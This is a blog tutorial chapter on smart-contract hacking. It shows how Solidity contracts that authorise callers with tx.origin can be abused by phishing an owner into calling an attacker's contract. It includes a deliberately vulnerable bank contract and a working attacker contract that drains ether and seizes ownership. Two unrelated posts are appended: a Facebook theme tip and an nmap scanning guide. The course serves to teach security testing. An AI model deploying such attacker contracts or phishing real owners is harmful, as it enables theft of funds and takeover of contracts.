Thursday, June 1, 2023

Smart Contract Hacking Chapter 6 - Phishing Users With Malicious DAPS Via TX.Origin


Authorization on a smart contract can sometimes be a tricky endeavor. There are many things that are easily coded incorrectly, for example public functions, unpublished functions, delegate calls and tx.origin validations. If any of these are implemented incorrectly, then contracts are often left vulnerable to both direct and indirect attacks.

In this case, we will be talking about tx.origin which is an indirect attack method an attacker can utilize to bypass authorization based on the nuance of what is actually checked vs what the developer may think is checked when implementing require statements with tx.origin for authorization.

There are two different ways to check the address of who is making a call to a contract.

ü  Msg.sender

ü  Tx.Origin

 

While both of these could produce the same output when directly calling a contract, they may differ when there is another contract in the middle of the transaction. For example, if you play an online game which calls another contract to handle a payout transaction. When using a check with msg.sender, the winning payout would go to the games address that called the payout contract.

If the same address was checked with tx.origin on the payout contract, it would go all the way back to the original users address that processed the payout transaction on the game rather than the game contract making the call.

 

Man In the Middle Via tx.origin

This type of check is often misused when checking validation for authorization on smart contracts. When a tx.Origin check is used instead of msg.sender, this can leave a contract open to a man-in-the-middle (MITM) attack vector. Let's take a look at a visual representation of an attack, which will help put this into perspective. Then we will look at some code that implements this functionality.

 

In the below image we have:

ü  A user on the left

ü  An attacker's contract in the middle

ü  A target contract on the right

 


 

  

If the attacker were to call the target contract directly his authorization would be checked based on his personal address value regardless if the check is being performed via msg.sender or tx.orgin.  However, if the attacker created his own contract that called the target contract, the attacker could run a phishing campaign and social engineer the user into running functionality on the attacker's contract.

For example, sending a user to a game or accepting a payment for services and proxying the request to the target contract. If the user is social engineered into using the attackers contract, the attackers contract would make a transaction call to the target contract with which originates from the user's address via tx.origin. 

This is the exact point where things can go sideways.  If the target contract processes the transaction via msg.sender then the attackers contract would authorized as the attackers contract address. However, if the contract checks authorization via tx.origin than the attacker is accessing the target as the victims address and can bypass any authorization checks and simply process functionality as the victim user, to the attackers benefit.

This attack could be used to liquidate a user's account with a transfer function from the authorized user to the attacker's account. Or accessing forbidden functionality such as a Self-Destruct function linked to administrator only validation, or perhaps updating admin functionality to provide the attacker with full access to the contract. Much like social engineering in a standard network penetration test, this could be a wide scale phishing campaign to effect all standard users, or a spear phishing attack targeting an administrative user.

Regardless of the motivations of the attacker, there are many bad things that can happen. So let's take a look at a very simple example of tx.origin just so you see the difference between msg.sender and tx.origin.  We want to make sure you fully understand how this functionality is actually working so you can spot it during your testing before we exploit it.

 

Simple tx.origin Example Walkthrough:

Action Steps:

ü  Type out the following 2 contracts into Remix

ü  Deploy the HelloWorldTXOrigin contract first and copy its address value

ü  Place the address value in the proper location within CallHello contract and deploy it

ü  Review the code within CallHello and its usage of address validation

ü  Review the calls into the contract from HelloWorldTXOrigin that are effected by the address validation

ü  Try to reason based on what you learned above how this works and where and what the issues could be

 

 

1.    pragma solidity ^0.6.6;
2.   
3.    contract HelloWorldTXOrigin {
4.       
5.      function return_TX_Address() public returns(address){
6.           address myaddress = tx.origin;
7.           return myaddress; 
8.      }
9.      
10.   function return_MSG_Address() public returns(address){
11.       address myaddress = msg.sender;
12.         return myaddress; 
13.   }
14. }    

 

The code above for HelloWorldTXOrigin is extremely simple. All the code does is set a variable on lines 6 and 11 to the address calling the function and returns the value.  On line 6 it uses the tx.origin value and on line 11 it uses the msg.sender.

Now take a look at the following contract which calls the above contract to illustrate the difference between msg.sender and tx.origin values.  

 

1.    pragma solidity ^0.6.6;
2.   
3.    interface targetInterface {
4.      function return_TX_Address() external returns(address); 
5.      function return_MSG_Address() external returns(address);
6.    }
7.   
8.    contract Call_Hello {
9.      targetInterface helloInterface = targetInterface(ADD_Address_Here);
10. 
11.   function myTX ()  public returns (address){
12.        return helloInterface.return_TX_Address();
13.   }
14.    
15.   function myMSG ()  public returns (address){
16.        return helloInterface.return_MSG_Address();
17.   }
18.}

 

The Call_Hello contract above calls the HelloWorld contract via an interface defined on line 3 and initialized to a variable named helloInterface on line 9.

All this contract does is call functions from HelloWorld on lines 12 and 16 and returns the address values of tx.sender or msg.sender. Presumably this would be a random user that you social engineered into using this contract.

Action Steps:

ü  Select the first account in the dropdown list

ü  Compile and deploy HelloWorldTXOrigin.sol contract via Remix:

ü  Copy the address of the HelloWorldTXOrigin.sol contract

ü  Paste that address value into the target interface address placeholder

ü  Select the second account in the dropdown list

ü  Compile and deploy Call_Hello.sol

ü  Select any other account to simulate the victim account calling the attackers Call_Hello contract

ü  After each is pressed review the transaction output address and walk through in your head what you are reviewing before moving on.

 

If you performed the above action steps you would notice something similar to the following. First, I deploy my target contract with account one, which got deployed to the address:

 

ü  0xdCDB4db4a54F689ECC486d8BAcC08Cde4AC7FcA8

 



Next, I replace the address in the following line of the attackers phishing contract Call_Hello with the address from above, using the copy button to the right of the address in the above screenshot:

 

targetInterface helloInterface = targetInterface(0xdCDB4db4a54F689ECC486d8BAcC08Cde4AC7FcA8);

 

I then switch to Account two, and deploy the attackers phishing contract. This gives us the attackers contract address:  

 

ü  0x4e1426490dBfBa9110064fb912fe7221074cC0c9

 



 

Finally, I switch to the third account, ( my social engineered victim account) with the address:

 

ü  0x00bff3B21f6924D6e639Ce60e4Dac62Ec2c21269

 

 


 

If I then click the myMSG button on the attackers contract I should get the attackers address as the msg.sender resolves the address calling the contract. In this case I call the attackers contract but the attacker's contract is actually making the call to the target contract, so the msg.sender is the attackers contract even though or victim is the one clicking the button.  Indeed, this is true, shown below, the attackers contract address is returned when validated with msg.sender.

___________________________________________________________________________________

 

decoded output     {

 "0": "address: 0x4e1426490dBfBa9110064fb912fe7221074cC0c9"

}

___________________________________________________________________________________

 

Next I click the myTX button which should return the victims address from the 3rd account as the tx.origin check returns the original calling account of the user, not the attackers contract making the call. Indeed, this is true, shown below, the victims contract address is returned when validated with tx.origin.

___________________________________________________________________________________

 

decoded output     {

"0": "address: 0x00bff3B21f6924D6e639Ce60e4Dac62Ec2c21269"

}

___________________________________________________________________________________

  

I hope that clears up any confusion as to the difference between both msg.sender and tx.origin.  We will now take a look at a more comprehensive example with a bit of vulnerable code to put this into context and show how to bypass some controls using this attack method.

Action Steps:

ü  Review this code prior to reading the explanation.

ü  What is wrong with the logic in this contract?

ü  What would your path of exploitation be?

ü  What would the impact of this attack be?

ü  Type this code into remix and follow along with the walk through


Simple Example Video Walk Through: 


 

Vulnerable TX.Origin Example Walkthrough:

1.    pragma solidity ^0.6.6;
2.   
3.    contract BankOfEther {
4.      address owner;
5.      mapping (address =>uint) balances;
6.       
7.      constructor() public {
8.        owner = msg.sender;
9.      }
10.    
11.  function deposit() public payable{
12.    balances[msg.sender] = balances[msg.sender]+msg.value;     
13.   }
14.    
15.  function transferTo(address payable to, uint amount) public payable{
16.      require(tx.origin == owner);
17.      to.transfer(amount);
18.  }
19.    
20.  function changeOwner(address newOwner) public{
21.      require(tx.origin == owner);
22.      owner = newOwner;
23.                 }
24.    
25.  function kill() public {
26.      require(msg.sender == owner);
27.      selfdestruct(msg.sender);
28.  }
29.}

 

Above is an example of a contract which uses tx.origin to check for user authorization. On lines 16 and 21 you will see that in order to transfer contract funds or change the owner of the contract, you need to be the owner of the contract. This check uses the tx.origin value. The owner which is checked is set in the constructor on line 8 when the contract is deployed.

Also note that there is a kill function at line 25 using Solidity's built-in self-destruct function. This function will destroy the contract making it unusable and send any remaining contract ether to the address specified. This function is using authorization checks against the owner via the msg.sender rather than the tx.origin.

 

Action steps to familiarize yourself with the contract:

ü  Type the code above into Remix and deploy it

ü  Change the value field to 10 and the denomination to ether

ü  Deposit the 10 ether with the deposit function.

ü  Switch accounts and try to run changeOwner, Kill and transferTo functionality

ü  Try the same thing with the original account

ü  Try to deposit funds again

 

In your action steps and exploration of the contract you will notice that these functions do not run properly with the second account as you are not the owner of the contract when using the second account. You will also notice that these did run properly when used with the first account that deployed the contract as this user was set to the owner when deployed. You will also notice that when you ran the kill function it rendered the contract unusable and your funds were returned to your account from the initial deposit.

Now that we are familiar with the contracts functionality and we know that it is dangerously checking authorization using tx.origin  on both the transferTo and changeOwner functions. What would we do to attack this?

In order to formulate an attack, we will use a standard phishing style attack via social engineering. Exactly the same as if we were contracted to perform social engineering on a penetration test, however the malicious site that we send our victim communicates with our malicious smart contract on the backend as a proxy into the vulnerable contract for example using a decentralized web application (DAP) that makes web3.js calls. We used web3.js calls in an earlier chapter when directly making calls to a contract.

How we attack this would depend on our motivations as an attacker. We could simply trick the contract owner into running functionality on our malicious contract which then transfers all of the funds out of the contract to the attacker's wallet. The owner may not even notice this attack took place until he had issues with account balances. He may not even realize when and how it happened depending on how you orchestrate your attack. We could also take control of the whole contract and become the owner of the contract which would provide us with unfettered access to sensitive functionality at any time.

Let's take a look at a malicious smart contract that could transfer out all of the funds and additionally give use full administrative control of the contract. Generally, in a live attack scenario we would code a pretty looking DAP page around this attacker's contract with Web3.js much like in a phishing engagement.

1.  pragma solidity ^0.6.6;
2.   
3.  interface targetInterface {
4.  function transferTo(address payable to, uint amount)  payable external;
5.  function changeOwner(address newOwner) external;
6.  function kill() external;
7.  }
8.   
9.  contract PhishingBankOfEther {
10.  address payable attackerAddress;
11.    
12.  constructor() public {
13.     attackerAddress = msg.sender;
14.  }
15.    
16.  targetInterface bankInterface = targetInterface(ADDRESS);
17. 
18.  function test () payable public {
19.     bankInterface.transferTo(attackerAddress, 1 ether);
20.     bankInterface.changeOwner(attackerAddress);
21.  }
22.}

 

Most of this contract above is setting up the target interface, so this should be pretty easy to follow if you read through the section on Reentrancy where we setup an interface in our attacking contract.  But just to review an interface is a way that we can call functions from another contract via its address and function names. For example, on lines 3-6 we create an interface and simply copy paste the function definitions from our target contract into our interface definition. That's it.  And then we take that target interface we created and point it at the address of the target contract on line 16 with the name bankInterface. That is really the only thing we are doing for 75% of this contract. Nothing new or scary.

At this point we can use the bankInterface variable to access functionality within the target contract from our attacking contract.  Pretty simple right?  

Now the actual meat of this attacking contract is within lines 18-20 where we have a test function which calls the transferTo and changeOwner functions we do not have access to as a non-owner.

 

Action Steps:

ü  Re-deploy the target contract with your first account on remix

ü  Deposit 10 ether into the target contract

ü  Copy the address of the target contract via the copy button on the right side of the deployed contract

ü  Within the attacking contract replace the ADDRESS with the copied address from the target

ü  Switch to the second account in your list of accounts

ü  Deploy this contract and you will see a single function named test

 

Now as before with your attacker's account you cannot run functionality which performs authorization checks because the attackers address is not the owner, so running this test function which changes the owner and sends 1 ether will not work from the second account.  However, instead of our attacker running this functionality directly, the attacker would phish the Owner located on account one. The phish would use the attacker's contract which would perform the actions as the owner due to the incorrect check using tx.origin.

 

Action steps:

ü  Switch to the first account

ü  Try using the transfer function to verify that its working and that you're the owner

ü  Run the test function from the attacker's contract with account 1.

ü  Now try to use that send function again. Did it work?

ü  Try to use the kill function. Did that work?

ü  Now switch to the attackers account and use the send function. Did that work this time?

ü  Now kill the contract from the attackers account. What happened?

 

So, what happened when you used the test function from the attacker's contract?

The test function called the changeOwner and transferTo functions from the attacker's contract. But not as the attacker's address because authorization was checked via the Tx.origin which is the person calling the attacker's contract (account 1), not the attacker's contract address (account 2).

Even with the phishing contract if we were to call the kill function from the attacker's contract it would have failed because it uses the msg.sender. So, in order to execute kill, we had to use changeOwner and become the owner of the contract prior to calling the kill function.

As a result of phishing the owner into using the attacker's contract, the attacker is now the owner of this target contract. As such, the attacker actually can call the kill function directly without any issues and the original owner has been locked out of administrative functionality. 

Now in real life we, have a couple different options for attacking this user via a phishing attack over chat, email or even the phone.

Attack Options:

  1. Send a user a link to a website, perhaps a game they can play on Ethereum etc
  2. Sell the owner something and get the owner to send you any amount of Ether to your contract address. At this point you would have a fall back function which performs actions on the user's behalf simply by sending funds to our contracts account address and having the fallback function auto execute functionality with the owner's address.

 

I hope all of this makes sense. If you got stuck at any point during this walkthrough make sure to check out the video for a walkthrough of the lab and additional attack options.  

 

Phishing MITM Attack Walk Through: 





Smart Contract Hacking - 0x10 - Man In The Middle(MITM) Phishing Attacks Via TX.Origin Authorization.mp4 from Console Cowboys on Vimeo.


References

Github code for this chapter:  https://github.com/cclabsInc/BlockChainExploitation/tree/master/2020_BlockchainFreeCourse/Tx.Origin

Related news


How To Change Facebook’s Default Theme To Any Color You Want

Change Facebook Theme Using Chrome Extension

How To Change Facebook's Default Theme To Any Color You Want

We are going to share an interesting trick on changing your Facebook default theme. You just need a Google Chrome extension to perform this trick. If you are among me who feels very fatigued with the look of Facebook's by default theme then this is a must-see post because you will find out the easiest trick to make your facebook more attractive than before.

Facebook is a social networking site which empowers people to connect with friends and people around. That's how Facebook is habitually introduced. However, Facebook is beyond the need of being introduced as almost everyone is on it.
   A couple of Days ago I was simply Surfing Google Chrome website and I somehow stumbled upon a Chrome Extension. Yes, a Chrome extension that will give your Facebook a Whole new look. I was apprehensive to try it, So I just installed it and checked my facebook. I was astonished to see my facebook homepage have all new look. I found it refreshing and decided to write steps on How to Change Facebook Themes using Chrome Extension.

How To Change Facebook's Default Theme To Any Color You Want

If You are among me who feels very fatigued with the look of Facebook's by default theme then this is a must-see post, Because you will find out the easiest trick to make your facebook more attractive than before. Simply follow the steps to know about it.

How to Change Facebook Theme Using Chrome Extension

Step 1. Install Stylish for Chrome from the Chrome Web Store. It will take hardly a minute to get installed in your Chrome browser.
Change Facebook Theme Using Chrome Extension
Change Facebook Theme Using Chrome Extension
Step 2. Navigate to Facebook.com and click on the S button. Click on Find Styles for this Site to open a new tab with free themes to use for Facebook. Most of the themes are free and attractive too you can easily browse over the full website to discover your favorite theme.
Change Facebook Theme Using Chrome Extension
Change Facebook Theme Using Chrome Extension
Step 3. Now You will be redirected towards https://userstyles.org Guess what! This site contains huge numbers of Facebook themes, One thing is for sure that you will be confused in-between what to select and which one to skip. Select any them and click on it. Now you will be given a full preview of your selected theme.
Change Facebook Theme Using Chrome Extension
Change Facebook Theme Using Chrome Extension
Step 4. If everything is fine in the previewed theme, click on Install with Stylish button at the top right corner of the page. It will take few seconds or minutes depends on your theme size to be installed in Stylish Extension, once installed you will be notified with a success message.
Change Facebook Theme Using Chrome Extension
Change Facebook Theme Using Chrome Extension
Step 5. Now whenever you open Facebook, it will show the theme that you have installed with Stylish instead of the boring old blue theme.
Change Facebook Theme Using Chrome Extension
Change Facebook Theme Using Chrome Extension
Continue reading

Nmap: Getting Started Guide


Nmap is a free utility tool for network discovery, port scanning and security auditing, even though we can use it for more than that but in this article we will learn how to do these three things with nmap.

The original author of nmap is Gordon Lyon (Fyodor). Nmap is licensed under GPL v2 and has available ports in many different languages. Nmap is available for Linux, Windows, and Mac OS X. You can download your copy of nmap from their website.

Lets get started with nmap.

When performing pentests we always look for networks we are going to attack. We need to identify live hosts on the network so that we can attack them. There are plenty of tools available for finding live hosts on a network but nmap is one of the best tools for doing this job.

Lets start with simple host (target) discovery scans i,e scans that will tell us which ip address is up on our target network. Those ip addresses which are up on our target network are the ones that are assigned to a device connected on our target network. Every device on the network is going to have a unique ip address.
To perform a simple host discovery scan we use the following command

nmap -v -sn 10.10.10.0/24




flags we used in the above command are
-v for verbose output
-sn to disable port scan (we don't want to scan for ports right now)

Following the flags is the ip address of the target network on which we want to look for live hosts. The /24 at the end of the ip address is the CIDR that specifies the subnet of the network on which we are looking for live hosts.

After running the above command you should get a list of live hosts on your target network.
If you just want to know the list of ip addresses your command is going to scan, you can use the -sL flag of the nmap like this.

nmap -sL 10.10.10.0/24

this command will simply output the list of ip addresses to scan.

We sometimes want to do dns resolution (resolving ip addresses to domain names) when performing our network scans and sometimes we don't want dns resolution. While performing a host discovery scan with nmap if we want to perform dns resolution we use -R flag in our command like this:

nmap -v -sn -R 10.10.10.0/24

And if we don't want to perform dns resolution of hosts during our scan we add the -n flag to our command like this:

nmap -v -sn -n 10.10.10.0/24

After we have discovered the hosts that are up on our target network, we usually put the ip addresses of these hosts into a file for further enumeration.

Next step in our enumeration would be to detect which operating system and which ports are running on these live hosts, for that we run this command:

nmap -O -v 10.10.10.119


here we use -O (capital o not zero) for operating system detection and by default nmap performs SYN Scan for port discovery. However nmap scans for 1000 ports only by default of a particular host.

To make nmap go over a list of ip addresses in a file we use -iL flag like this:

nmap -O -v -iL targetlist

where targetlist is the name of the file which contains ip addresses that we want to perform port scan on.

To make nmap scan all the ports of a target we use the -p flag like this:

nmap -p- -v 10.10.10.121

We can also specify a range of ports using the -p flag like this:

nmap -p1-500 -v 10.10.10.121

here 1-500 means scan all the ports from 1 to 500.

We can use a number of scan techniques to discover open ports on our network but I will only discuss some of them for brevity.

We can perform a TCP SYN scan using nmap with -sS flag like this:

nmap -sS -v 10.10.10.150

We have also flags for TCP connect and ACK scans which are -sT -sA

nmap -sT -v 10.10.10.150

nmap -sA -v 10.10.10.150

We can also perform UDP scan as well instead of TCP scan using -sU flag

nmap -sU -v 10.10.10.150

We can perform TCP Null, FIN, and Xmas scans using the flags -sN, -sF, -sX

nmap -sN -v 10.10.10.150

nmap -sF -v 10.10.10.150

nmap -sX -v 10.10.10.150

If you don't know what these scans are then please visit Port Scanning Techniques and Algorithms for explanation.

After discovering the open ports on our target host, we want to enumerate what services are running on those open ports. To enumerate services and versions information on open ports we use the -sV flag like this:

nmap -sV -v 10.10.10.118

This should give us information about what services are running on what ports and what versions of those services are running on the target host.

nmap has an interesting feature called NSE nmap scripting engine. It allows users to write their own scripts, using the Lua programming language, to automate a wide variety of networking tasks. nmap ships with a diverse set of scripts which are very helpful to enumerate a target. To use the nmap default set of scripts while enumerating the target, we use the -sC flag like this:

nmap -sC -sV -v 10.10.10.118

We can also save the results of our nmap scans to a file using the -o flag like this

nmap -sC -sV -v -oA defaultscan 10.10.10.119

here -oA tells the nmap to output results in the three major formats at once and defaultscan is the name of the file that will be prepended to all the three output files.

This is the end of this short tutorial see you next time.

References:
https://nmap.org/book/scan-methods-null-fin-xmas-scan.html

Related news